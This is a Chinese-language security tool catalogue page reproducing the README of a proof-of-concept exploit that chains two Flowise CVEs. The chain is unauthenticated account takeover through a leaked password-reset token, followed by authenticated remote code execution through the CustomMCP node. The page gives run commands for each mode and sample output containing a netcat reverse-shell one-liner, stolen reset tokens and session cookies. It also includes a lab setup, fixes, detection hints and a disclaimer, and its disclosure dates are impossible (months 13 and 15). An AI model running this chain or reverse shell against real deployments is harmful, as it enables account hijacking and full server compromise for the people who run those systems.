Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
Flowise-CVE-2025-58434-Chain-59528 — FlowiseAI CVE-2025-58434 和 CVE-2025-59528 漏洞利用PoC,展示通过重置令牌泄露实现未认证的账户接管(ATO),接着是认证后的远程代码执行(RCE)。包含一个可复现的Docker实验环境。 | Kitploit
工具/GitHubGitHub/0xdaeras/flowise-cve-2025-58434-chain-59528
漏洞分析漏洞利用Web应用程序漏洞利用渗透测试身份验证学习与教育实验室与实践
GitHub0xdaeras/flowise-cve-2025-58434-chain-59528

Flowise-CVE-2025-58434-Chain-59528

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →

FlowiseAI CVE-2025-58434 和 CVE-2025-59528 漏洞利用PoC,展示通过重置令牌泄露实现未认证的账户接管(ATO),接着是认证后的远程代码执行(RCE)。包含一个可复现的Docker实验环境。

查看仓库
14个月前尚未审核
分享

FlowiseAI CVE 链 - 账户接管 (CVE-2025-58434) 与远程代码执行 (CVE-2025-59528)

CVE-2025-58434 CVSS-1 CVE-2025-59528 CVSS-2 Python License

⚠️ 仅供教育和授权的安全研究使用。 在未经拥有或缺少书面许可的系统上运行此工具是非法的。


目录

本仓库包含一个 Python 概念验证,用于串联两个 Flowise 漏洞:

  • CVE-2025-58434 — 通过暴露的密码重置令牌行为实现账户接管。
  • CVE-2025-59528 — 通过在 CustomMCP 节点中对 JavaScript 进行不安全求值实现远程代码执行。

Flowise 是一个用于构建 LLM 应用和 AI 代理工作流的拖放式平台。CVE-2025-59528 影响 Flowise 3.0.5,并在 3.0.6 中修复。问题源于 CustomMCP 节点内对 mcpServerConfig 的不安全处理。CVE-2025-58434 与密码重置令牌暴露相关,同样在 Flowise 3.0.6 中修复。

该工具支持:

  • 漏洞检测
  • 账户接管流程
  • 登录与 Cookie 获取
  • 认证后的 RCE
  • 完整链模式:ATO → 登录 → RCE

漏洞详情

CVE-2025-58434 — 账户接管

  • CVE ID:CVE-2025-58434
  • CVSS v3.1 评分:9.8(严重)
  • 漏洞类型:账户接管 / 认证绕过
  • 受影响产品:Flowise
  • 受影响测试版本:Flowise 3.0.5
  • 修复版本:Flowise 3.0.6
  • 是否需要认证:否
  • 影响:密码重置令牌泄露,账户接管

有问题的密码重置流程会在 API 响应中暴露敏感用户数据,包括临时密码重置令牌。攻击者如果知道有效用户邮箱地址,可以请求密码重置,从响应中获取临时令牌,然后用它为该账户设置新密码。

该问题影响 Flowise 云环境以及暴露相同 API 接口的自托管/本地部署。修复方法是永远不要在 API 响应中直接返回密码重置令牌或敏感账户重置数据。

CVE-2025-59528 — 远程代码执行

  • CVE ID:CVE-2025-59528
  • CVSS v3.1 评分:10.0(严重)
  • 漏洞类型:JavaScript 代码注入 / 远程代码执行
  • 受影响产品:Flowise
  • 受影响测试版本:Flowise 3.0.5
  • 修复版本:Flowise 3.0.6
  • 是否需要认证:是
  • 影响:在 Node.js 运行时中任意 JavaScript 执行,在托管 Flowise 的服务器上实现 RCE

该漏洞存在于 Flowise 的 CustomMCP 节点中。mcpServerConfig 参数作为 MCP 服务器配置过程的一部分被解析,并在没有任何安全验证的情况下作为 JavaScript 代码进行求值。这使得经过认证的攻击者能够注入任意 JavaScript 代码,这些代码会在 Flowise 服务器的 Node.js 环境中执行。在 convertToValidJSONString 函数中,用户输入被传递给 Function 构造函数,该构造函数将输入作为 JavaScript 代码进行求值,并拥有完整的 Node.js 权限,允许访问像 child_process 这样的模块来执行系统命令。

此 PoC 所利用的有漏洞端点:

root@kitploit:~
POST /api/v1/node-load-method/customMCP

并在 JSON 体的 mcpServerConfig 字段中携带 JS 载荷,例如:

root@kitploit:~
{
  "loadMethod": "listActions",
  "inputs": {
    "mcpServerConfig": "..."
  }
}

有漏洞的代码位于 CustomMCP.ts 文件中,并在 GitHub 维护者对该 CVE 的安全公告 中被引用。


攻击流程

root@kitploit:~
攻击者                                   Flowise
   │                                          │
   │  [CVE-2025-58434]                       │
   │  POST /api/v1/account/forgot-password   │
   │  { email }                              │
   │─────────────────────────────────────────►│
   │◄─────────────────────────────────────────│
   │  用户对象 + tempToken                    │
   │                                          │
   │  POST /api/v1/account/reset-password     │
   │  { email, tempToken, newPassword }       │
   │─────────────────────────────────────────►│
   │◄─────────────────────────────────────────│
   │  密码已更改                              │
   │                                          │
   │  POST /api/v1/auth/login                 │
   │  { email, newPassword }                  │
   │─────────────────────────────────────────►│
   │◄─────────────────────────────────────────│
   │  token / refreshToken / connect.sid      │
   │                                          │
   │  [CVE-2025-59528]                       │
   │  POST /api/v1/node-load-method/customMCP │
   │  mcpServerConfig=<构造的配置>            │
   │─────────────────────────────────────────►│
   │                              JS 在 Node.js 中被求值
   │                              命令被执行
   │◄─────────────────────────────────────────│
   │  命令输出或载荷触发                      │
   │                                          │
   ✓  账户接管 + 认证后的 RCE

仓库结构:

root@kitploit:~
仓库结构
CVE-2025-58434-CVE-2025-59528/
├── exploit.py
├── README.md
├── requirements.txt
├── docker-compose.yml
└── logs/

安装

工具

root@kitploit:~
git clone https://github.com/0xDaeras/CVE-2025-58434-CVE-2025-59528-POC.git
cd CVE-2025-58434-CVE-2025-59528-POC
pip install -r requirements.txt

Docker 实验环境

root@kitploit:~
git clone https://github.com/0xDaeras/CVE-2024-51482-POC.git
cd CVE-2024-51482-POC
cp .env.example .env  # 配置环境变量
docker-compose up -d

使用

默认行为

不带任何参数时,工具将运行完整的攻击链:检测目标漏洞,对提供的邮箱执行账户接管,登录获取 cookie,然后利用 RCE 漏洞并发送反弹 shell 载荷。在执行完整链模式之前,请运行一个专用的监听器(例如 nc -lvnp 9889)。

root@kitploit:~
python3 exploit.py --target http://localhost:3000 --email [email protected] --lhost attacker.local --lport 9889

帮助屏幕

root@kitploit:~
python3 exploit.py -h

模式

check-mode

执行版本检查以确定目标是否易受 CVE-2025-58434 和 CVE-2025-59528 的攻击。它会向目标的 API 发送请求并分析响应以识别 Flowise 版本和漏洞状态。

root@kitploit:~
python3 exploit.py --target http://localhost:3000 check

ato-mode

执行 CVE-2025-58434 的账户接管流程。它会为指定邮箱发送密码重置请求,从响应中获取临时令牌,然后使用该令牌为账户设置新密码(默认:"Password123!")。

root@kitploit:~
python3 exploit.py --target http://localhost:3000 --email [email protected] ato-mode

login-mode

使用指定的邮箱和密码(默认:"Password123!")登录目标。如果成功,它将获取并显示认证 cookie(例如 connect.sid),用于认证后的请求。

root@kitploit:~
python3 exploit.py --target http://localhost:3000 --email [email protected] --password Password123! login-mode

rce-mode

通过向有漏洞的端点发送构造的 mcpServerConfig 载荷来利用 RCE 漏洞(CVE-2025-59528)。该载荷旨在执行一个反弹 shell 命令,连接到攻击者机器上指定的 LHOST 和 LPORT。如果没有提供令牌,则会自动尝试登录并获取有效令牌进行利用。如果未提供 LHOST/LPORT,则默认为简单的 id 命令载荷,其输出将包含在响应中。在执行完整链模式之前,请运行一个专用的监听器(例如 nc -lvnp 9889)。

root@kitploit:~
python3 exploit.py --target http://localhost:3000 --email [email protected] --password Password123! --lhost attacker.local --lport 9889 rce-mode

full-chain-mode

默认模式。 按顺序运行整个攻击链:检测漏洞、执行账户接管、登录获取 cookie,然后利用 RCE 漏洞并发送反弹 shell 载荷。在执行完整链模式之前,请运行一个专用的监听器(例如 nc -lvnp 9889)。

root@kitploit:~
python3 exploit.py --target http://localhost:3000 --email [email protected] --lhost attacker.local --lport 9889 full-chain-mode

参数参考

目标与认证

标志描述示例
-t, --target目标基础 URL-t http://localhost:3000
-e, --email目标账户邮箱-e [email protected]
--password已知密码(用于登录/RCE 模式)--password Password123!
--token现有会话令牌,跳过登录--token eyJ...
--new-passwordATO 期间要设置的密码--new-password Password123!

利用模式

模式描述
check检查目标是否看起来有漏洞
ato-mode仅运行账户接管流程
login-mode登录并获取会话 cookie
rce-mode仅运行 RCE 流程
full-mode串联 ATO、登录和 RCE

RCE 选项

标志描述示例
-c, --command要执行的自定义命令-c 'id'
--lhost反弹 shell 的监听器主机--lhost 10.10.14.3
--lport反弹 shell 的监听器端口--lport 4444

安全与输出

标志描述默认
--no-check跳过版本/漏洞检查False
-v, --verbose启用调试日志False
--log-file日志文件路径logs/exploit.log
--no-color禁用 ANSI 颜色False

示例输出

root@kitploit:~
$ python3 exploit.py -t http://localhost:3000 -e [email protected] --new-password Password123! --lhost 192.168.1.7 --lport 9889 full-mode

                                                                                                                                   
___________.__                .__                _________ .__           .__        
\_   _____/|  |   ______  _  _|__| ______ ____   \_   ___ \|  |__ _____  |__| ____   
 |    __)  |  |  /  _ \ \/ \/ /  |/  ___// __ \  /    \  \/|  |  \\__  \ |  |/    \  
 |     \   |  |_(  <_> )     /|  |\___ \\  ___/  \     \___|   Y  \/ __ \|  |   |  \ 
 \___  /   |____/\____/ \/\_/ |__/____  >\___  >  \______  /___|  (____  /__|___|  / 
     \/                               \/     \/          \/     \/     \/        \/  
                                                                                     

  ────────────────────────────────────────────────────────────────────────────────
[*] 目标 URL: http://localhost:3000
[*] 模块 : full-mode
[*] 邮箱  : [email protected]
  ────────────────────────────────────────────────────────────────────────────────
[*] 正在检查目标是否存在漏洞...
[+] 目标似乎存在漏洞。
  ────────────────────────────────────────────────────────────────────────────────
[*] 正在启动账户接管 (CVE-2025-58434)...
[+] 密码重置请求已成功发送。
[*] 目标用户数据 :

 🡪  ID             : 4e169dc2-AAAA-BBBB-CCCC-DDDDDDDDDDDD
 🡪  姓名           : Lab Admin
 🡪  邮箱           : [email protected]
 🡪  凭证           : $2a$10$lKbQNf8pVQXJFMzzW...
 🡪  状态           : active
 🡪  临时令牌       : AWtyV7mxIa6h12OhlB7H0mMl...
 🡪  令牌过期时间   : 2026-05-08T19:37:47.025Z

[*] 正在尝试使用临时令牌重置密码...
[*] 新密码 : Password123!
[+] 账户接管成功!新凭证:

 🡪  邮箱           : [email protected]
 🡪  密码           : Password123!
  ────────────────────────────────────────────────────────────────────────────────
[*] 正在启动登录流程以获取会话 cookie...
[+] 登录成功!
[+] 获取到会话令牌 :

 🡪  令牌           : eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXV...
 🡪  connect.sid    : s%3AFi1aUHh5p0aQrPd5q-l_vupTCE-5G...
 🡪  refreshToken   : eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXV...
  ────────────────────────────────────────────────────────────────────────────────
[*] 正在启动远程代码执行 (CVE-2025-59528)...
[!] 如果使用反弹 shell 命令,请确保已准备好监听器!

[*] 反弹 shell 命令: rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc 192.168.1.1 9889 > /tmp/f
[*] 目标 URL: http://localhost:3000/api/v1/node-load-method/customMCP

[*] 正在发送载荷以触发 RCE...
[+] 载荷已发送。请检查您的监听器是否收到反弹 shell 连接!
  ────────────────────────────────────────────────────────────────────────────────
[+] 工作完成。再见!

Docker 实验环境

建议使用本地实验环境进行安全测试。

实验环境安装:

root@kitploit:~
cp .env.example .env  # 根据需要配置环境变量
docker compose up -d --build
docker compose logs -f

默认情况下会创建两个 Flowise 账户:

  • 管理员:邮箱为 [email protected],密码在容器启动时随机生成(请查看日志获取密码)。
  • 用户:邮箱为 [email protected],密码在容器启动时随机生成但不会出现在日志中。这是 ATO 流程的目标账户。

针对本地实例运行 PoC:

root@kitploit:~
python3 exploit.py \
  -t http://localhost:3000 \
  -e [email protected] \
  --new-password 'Password123!' \
  --no-check \
  full-mode

查看 Flowise 日志:

root@kitploit:~
docker compose logs -f flowise-cve-lab

或:

root@kitploit:~
docker logs -f flowise-cve-lab

修复建议

通用建议

针对 CVE-2025-58434

  • 将 Flowise 升级到 3.0.6 或更高版本。
  • 不要在 API 响应中返回密码重置令牌。
  • 仅通过注册邮箱渠道传递重置令牌。
  • 重置令牌使用一次后立即失效。
  • 为密码重置端点添加严格的过期时间和速率限制。

针对 CVE-2025-59528

  • 将 Flowise 升级到 3.0.6 或更高版本。
  • 避免将用户控制的配置作为 JavaScript 进行求值。
  • 移除不安全的 Function、eval 或等效的动态执行模式。
  • 将 MCP 配置作为严格数据进行验证和解析,而非可执行代码。

检测思路

潜在的入侵迹象:

  • 请求 /api/v1/node-load-method/customMCP
  • 包含类似 JavaScript 语法的可疑 mcpServerConfig 值
  • 例如:process.mainModule、child_process、execSync、Buffer.from、Function
  • 密码重置请求后紧接着立即登录并访问 CustomMCP
  • 从 Flowise 容器或主机发起的出站连接

披露时间线

  • 2025-12-09:用户 zaddy6 和 arthurgervais 在 GitHub 安全公告 中披露了 CVE-2025-58434,附有详细报告和 PoC。
  • 2025-13-09:用户 im-soohyun 在 GitHub 安全公告 中披露了 CVE-2025-59528,附有详细报告和 PoC。
  • 2025-15-09:两个 CVE 在 Flowise 3.0.6 中修复,该版本发布于 GitHub。

免责声明

本项目仅用于教育目的、实验环境测试和授权的安全研究。

您有责任确保在针对任何系统运行此工具之前获得明确许可。作者不对使用此代码造成的误用、损害或非法活动负责。进行安全测试时请始终遵守道德准则和法律要求。


参考文献

  • CVE-2025-58434
  • CVE-2025-59528
  • Flowise GitHub 仓库
  • Flowise 维护者针对 CVE-2025-58434 的安全公告
  • Flowise 维护者针对 CVE-2025-59528 的安全公告
  • Flowise 3.0.6 发布说明
下载工具